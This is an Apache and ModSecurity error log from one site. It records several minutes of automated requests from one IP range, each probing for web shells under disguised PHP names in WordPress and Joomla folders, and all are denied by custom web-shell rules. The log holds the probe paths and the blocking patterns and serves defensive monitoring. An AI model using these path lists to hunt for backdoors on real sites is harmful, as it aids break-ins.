[Mon Feb 23 12:02:54.176257 2026] [:error] [pid 39639:tid 39666] [client 45.132.224.138:24171] [client 45.132.224.138] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/fonts/class_api.php"] [unique_id "aZvRbhpFkMoMi8uTUUMxIgAAAlc"]
[Mon Feb 23 12:02:54.653001 2026] [proxy_fcgi:error] [pid 39540:tid 39576] [client 45.132.224.108:54281] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:02:55.364573 2026] [:error] [pid 39540:tid 39590] [client 45.132.224.108:54281] [client 45.132.224.108] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/smilies/admin.php"] [unique_id "aZvRb7sgm9aTWhlRScLl-gAAAdU"]
[Mon Feb 23 12:02:56.090888 2026] [:error] [pid 39540:tid 39578] [client 45.132.224.138:48365] [client 45.132.224.138] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/IXR/about.php"] [unique_id "aZvRcLsgm9aTWhlRScLmAAAAAck"]
[Mon Feb 23 12:02:56.492436 2026] [proxy_fcgi:error] [pid 25380:tid 25400] [client 45.132.224.116:20503] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:02:56.952208 2026] [proxy_fcgi:error] [pid 25380:tid 25391] [client 45.132.224.116:20503] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:02:57.317474 2026] [:error] [pid 25380:tid 25384] [client 45.132.224.116:20503] [client 45.132.224.116] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/class-wp-customize-manager-interpreter.php"] [unique_id "aZvRcaKrc8yFQ8fy78p8FwAAAMI"]
[Mon Feb 23 12:02:57.806154 2026] [:error] [pid 39639:tid 39660] [client 45.132.224.154:62677] [client 45.132.224.154] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/bypass.php"] [unique_id "aZvRcRpFkMoMi8uTUUMxKQAAAlE"]
[Mon Feb 23 12:02:58.366715 2026] [:error] [pid 39639:tid 39651] [client 45.132.224.118:40973] [client 45.132.224.118] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/count.php"] [unique_id "aZvRchpFkMoMi8uTUUMxLAAAAkg"]
[Mon Feb 23 12:02:58.752610 2026] [proxy_fcgi:error] [pid 39538:tid 39549] [client 45.132.224.112:23707] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:02:59.869467 2026] [:error] [pid 39538:tid 39550] [client 45.132.224.112:23707] [client 45.132.224.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/certificates/chosen.php"] [unique_id "aZvRcy4Zk8-cQOG3ZnozawAAAYg"]
[Mon Feb 23 12:03:00.689521 2026] [:error] [pid 25380:tid 25397] [client 45.132.224.116:24341] [client 45.132.224.116] ModSecurity: Access denied with code 403 (phase 2). String match ".php" at REQUEST_FILENAME. [file "/usr/local/apache/modsecurity-cwaf/rules/24_Apps_Joomla.conf"] [line "74"] [id "240000"] [rev "1"] [msg "COMODO WAF: Protecting Joomla folder||agraphics.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "Joomla"] [hostname "agraphics.com.au"] [uri "/images/stories/themes.php"] [unique_id "aZvRdKKrc8yFQ8fy78p8IQAAAM8"]
[Mon Feb 23 12:03:00.888960 2026] [:error] [pid 25380:tid 25384] [client 45.132.224.116:24341] [client 45.132.224.116] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/theme-compat/footer-embed-function.php"] [unique_id "aZvRdKKrc8yFQ8fy78p8IwAAAMI"]
[Mon Feb 23 12:03:01.641069 2026] [:error] [pid 25380:tid 25405] [client 45.132.224.132:27295] [client 45.132.224.132] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/l10n/class-wp-translation-file-mo-event.php"] [unique_id "aZvRdaKrc8yFQ8fy78p8JwAAANc"]
[Mon Feb 23 12:03:02.088668 2026] [:error] [pid 39540:tid 39589] [client 45.132.224.137:33709] [client 45.132.224.137] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/vars-soap.php"] [unique_id "aZvRdrsgm9aTWhlRScLmEwAAAdQ"]
[Mon Feb 23 12:03:02.792948 2026] [proxy_fcgi:error] [pid 39640:tid 39672] [client 45.132.224.155:65303] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:03:03.549810 2026] [:error] [pid 39640:tid 39677] [client 45.132.224.155:65303] [client 45.132.224.155] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/id3/wp-work.php"] [unique_id "aZvRd9sK--eVCgzvvudp4wAAAoc"]
[Mon Feb 23 12:03:04.305982 2026] [:error] [pid 29909:tid 29926] [client 45.132.224.138:49791] [client 45.132.224.138] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/class-wp-taxonomy.editor.php"] [unique_id "aZvReD9oc2QzltksUk64bgAAAQ8"]
[Mon Feb 23 12:03:04.870627 2026] [:error] [pid 39540:tid 39578] [client 45.132.224.137:35377] [client 45.132.224.137] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/wp-conflg.php"] [unique_id "aZvReLsgm9aTWhlRScLmHgAAAck"]
[Mon Feb 23 12:03:05.237618 2026] [proxy_fcgi:error] [pid 25294:tid 25360] [client 45.132.224.140:41237] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:03:06.207584 2026] [:error] [pid 25294:tid 25376] [client 45.132.224.140:41237] [client 45.132.224.140] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/interactivity-api/interactivity-api-xml.php"] [unique_id "aZvReiRCFB3CqIo_jfaPYwAAAFc"]
[Mon Feb 23 12:03:06.781781 2026] [:error] [pid 39504:tid 39515] [client 45.132.224.155:41339] [client 45.132.224.155] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/colour.php"] [unique_id "aZvRenLcHpOlI9gwwJruaQAAAUk"]
[Mon Feb 23 12:03:07.202083 2026] [proxy_fcgi:error] [pid 25294:tid 25370] [client 45.132.224.116:59147] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:03:07.420486 2026] [:error] [pid 25294:tid 25354] [client 45.132.224.116:59147] [client 45.132.224.116] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/customize/class-wp-customize-background-position-control-variable.php"] [unique_id "aZvReyRCFB3CqIo_jfaPZwAAAEo"]
[Mon Feb 23 12:03:07.800871 2026] [:error] [pid 25294:tid 25328] [client 45.132.224.154:59649] [client 45.132.224.154] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/images/include.php"] [unique_id "aZvReyRCFB3CqIo_jfaPaQAAAEA"]
[Mon Feb 23 12:03:08.573944 2026] [:error] [pid 25294:tid 25356] [client 45.132.224.151:32427] [client 45.132.224.151] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/imgareaselect/wp-login.php"] [unique_id "aZvRfCRCFB3CqIo_jfaPbAAAAEs"]
[Mon Feb 23 12:03:09.613452 2026] [proxy_fcgi:error] [pid 39540:tid 39576] [client 45.132.224.114:48045] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:03:09.812636 2026] [:error] [pid 39540:tid 39590] [client 45.132.224.114:48045] [client 45.132.224.114] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/l10n/class-wp-translations-interface.php"] [unique_id "aZvRfbsgm9aTWhlRScLmOgAAAdU"]
[Mon Feb 23 12:03:10.208914 2026] [:error] [pid 39640:tid 39677] [client 45.132.224.115:64535] [client 45.132.224.115] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/about5.php"] [unique_id "aZvRftsK--eVCgzvvudp8QAAAoc"]
[Mon Feb 23 12:03:11.199817 2026] [proxy_fcgi:error] [pid 25380:tid 25390] [client 45.132.224.142:56573] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:03:11.606040 2026] [:error] [pid 25380:tid 25389] [client 45.132.224.142:56573] [client 45.132.224.142] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/ID3/db.php"] [unique_id "aZvRf6Krc8yFQ8fy78p8MgAAAMc"]
[Mon Feb 23 12:03:12.389881 2026] [:error] [pid 39540:tid 39590] [client 45.132.224.136:56555] [client 45.132.224.136] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/dist/bypass.php"] [unique_id "aZvRgLsgm9aTWhlRScLmTwAAAdU"]
[Mon Feb 23 12:03:12.777202 2026] [proxy_fcgi:error] [pid 39540:tid 39592] [client 45.132.224.136:37809] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:03:13.352938 2026] [:error] [pid 39540:tid 39586] [client 45.132.224.136:37809] [client 45.132.224.136] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/sitemaps/wp-conflg.php"] [unique_id "aZvRgbsgm9aTWhlRScLmVgAAAdE"]
[Mon Feb 23 12:03:13.753773 2026] [:error] [pid 39540:tid 39576] [client 45.132.224.143:27205] [client 45.132.224.143] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/wp-includes/assets/script-loader-packages.php"] [unique_id "aZvRgbsgm9aTWhlRScLmWgAAAcc"]
[Mon Feb 23 12:03:14.312277 2026] [:error] [pid 39540:tid 39585] [client 45.132.224.155:48301] [client 45.132.224.155] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/login.php"] [unique_id "aZvRgrsgm9aTWhlRScLmYQAAAdA"]
[Mon Feb 23 12:03:14.676334 2026] [proxy_fcgi:error] [pid 25380:tid 25394] [client 45.132.224.111:30199] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:03:15.039953 2026] [:error] [pid 25380:tid 25385] [client 45.132.224.111:30199] [client 45.132.224.111] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/sitemaps/chosen.php"] [unique_id "aZvRg6Krc8yFQ8fy78p8OQAAAMM"]
[Mon Feb 23 12:03:15.384467 2026] [proxy_fcgi:error] [pid 25294:tid 25328] [client 45.132.224.134:31231] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:03:15.814330 2026] [:error] [pid 25294:tid 25341] [client 45.132.224.134:31231] [client 45.132.224.134] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/Cache/index.php"] [unique_id "aZvRgyRCFB3CqIo_jfaPeAAAAEQ"]
[Mon Feb 23 12:03:16.152052 2026] [:error] [pid 39639:tid 39658] [client 45.132.224.123:23527] [client 45.132.224.123] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/dist/about.php"] [unique_id "aZvRhBpFkMoMi8uTUUMxNwAAAk8"]
[Mon Feb 23 12:03:16.674289 2026] [:error] [pid 39504:tid 39514] [client 45.132.224.128:57159] [client 45.132.224.128] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/customize/about.php"] [unique_id "aZvRhHLcHpOlI9gwwJrubAAAAUg"]
[Mon Feb 23 12:03:17.052777 2026] [:error] [pid 39538:tid 39542] [client 45.132.224.146:64057] [client 45.132.224.146] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/simi.php"] [unique_id "aZvRhS4Zk8-cQOG3ZnozbgAAAYA"]
[Mon Feb 23 12:03:17.803659 2026] [:error] [pid 39538:tid 39547] [client 45.132.224.138:49021] [client 45.132.224.138] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Requests/Text/index.php"] [unique_id "aZvRhS4Zk8-cQOG3ZnozcwAAAYU"]
[Mon Feb 23 12:03:18.353607 2026] [:error] [pid 39538:tid 39565] [client 45.132.224.112:56591] [client 45.132.224.112] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/sitemaps/abcd.php"] [unique_id "aZvRhi4Zk8-cQOG3ZnozdQAAAZc"]
[Mon Feb 23 12:03:18.712282 2026] [:error] [pid 25295:tid 25337] [client 45.132.224.140:22565] [client 45.132.224.140] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/ID3/rk2.php"] [unique_id "aZvRho2Av4J1Jnqi7yKkhQAAAIY"]
[Mon Feb 23 12:03:19.064859 2026] [:error] [pid 39640:tid 39671] [client 45.132.224.153:60225] [client 45.132.224.153] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/widgets/class-wp-widget-search-interpreter.php"] [unique_id "aZvRh9sK--eVCgzvvudqAgAAAoE"]
[Mon Feb 23 12:03:19.997619 2026] [:error] [pid 39639:tid 39662] [client 45.132.224.115:42161] [client 45.132.224.115] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/block-template-utils-other.php"] [unique_id "aZvRhxpFkMoMi8uTUUMxQgAAAlM"]
[Mon Feb 23 12:03:20.746121 2026] [:error] [pid 25294:tid 25358] [client 45.132.224.130:41229] [client 45.132.224.130] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/sodium_compat/lib/widget-group.php"] [unique_id "aZvRiCRCFB3CqIo_jfaPfQAAAEw"]
[Mon Feb 23 12:03:21.368801 2026] [:error] [pid 25380:tid 25389] [client 45.132.224.116:56781] [client 45.132.224.116] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/jcrop/about.php"] [unique_id "aZvRiaKrc8yFQ8fy78p8PQAAAMc"]
[Mon Feb 23 12:03:21.889401 2026] [:error] [pid 39640:tid 39677] [client 45.132.224.114:24159] [client 45.132.224.114] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/customize/chosen.php"] [unique_id "aZvRidsK--eVCgzvvudqBwAAAoc"]
[Mon Feb 23 12:03:22.725029 2026] [proxy_fcgi:error] [pid 39640:tid 39676] [client 45.132.224.106:33233] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:03:24.950302 2026] [:error] [pid 39640:tid 39682] [client 45.132.224.106:33233] [client 45.132.224.106] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/plugin.php"] [unique_id "aZvRjNsK--eVCgzvvudqGQAAAow"]
[Mon Feb 23 12:03:25.323651 2026] [:error] [pid 39504:tid 39528] [client 45.132.224.156:56723] [client 45.132.224.156] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/class-wp-scripts-query.php"] [unique_id "aZvRjXLcHpOlI9gwwJrucAAAAVY"]
[Mon Feb 23 12:03:25.868117 2026] [proxy_fcgi:error] [pid 25380:tid 25396] [client 45.132.224.146:26507] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:03:26.112810 2026] [:error] [pid 25380:tid 25405] [client 45.132.224.146:26507] [client 45.132.224.146] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/ID3/module.audio-license.php"] [unique_id "aZvRjqKrc8yFQ8fy78p8UQAAANc"]
[Mon Feb 23 12:03:27.248671 2026] [:error] [pid 39504:tid 39520] [client 45.132.224.122:28367] [client 45.132.224.122] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/class-wp-error-module.php"] [unique_id "aZvRj3LcHpOlI9gwwJrudwAAAU4"]
[Mon Feb 23 12:03:27.783738 2026] [proxy_fcgi:error] [pid 39538:tid 39559] [client 45.132.224.125:46353] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:03:27.956637 2026] [:error] [pid 39538:tid 39547] [client 45.132.224.125:46353] [client 45.132.224.125] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/litespeed.php"] [unique_id "aZvRjy4Zk8-cQOG3ZnozegAAAYU"]
[Mon Feb 23 12:03:28.880146 2026] [:error] [pid 39640:tid 39679] [client 45.132.224.134:55217] [client 45.132.224.134] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/dist/alam.php"] [unique_id "aZvRkNsK--eVCgzvvudqIgAAAok"]
[Mon Feb 23 12:03:29.234793 2026] [proxy_fcgi:error] [pid 39640:tid 39691] [client 45.132.224.134:43321] AH01071: Got error 'Primary script unknown'
[Mon Feb 23 12:03:29.431038 2026] [:error] [pid 39640:tid 39687] [client 45.132.224.134:43321] [client 45.132.224.134] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/block-bindings/imagess.php"] [unique_id "aZvRkdsK--eVCgzvvudqJAAAApE"]
[Mon Feb 23 12:03:30.202403 2026] [:error] [pid 39538:tid 39565] [client 45.132.224.151:50859] [client 45.132.224.151] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/default-filters-edit.php"] [unique_id "aZvRki4Zk8-cQOG3ZnozfQAAAZc"]
[Mon Feb 23 12:03:31.301551 2026] [proxy_fcgi:error] [pid 39540:tid 39576] [client 45.132.224.107:63067] AH01071: Got error 'Primary script unknown'
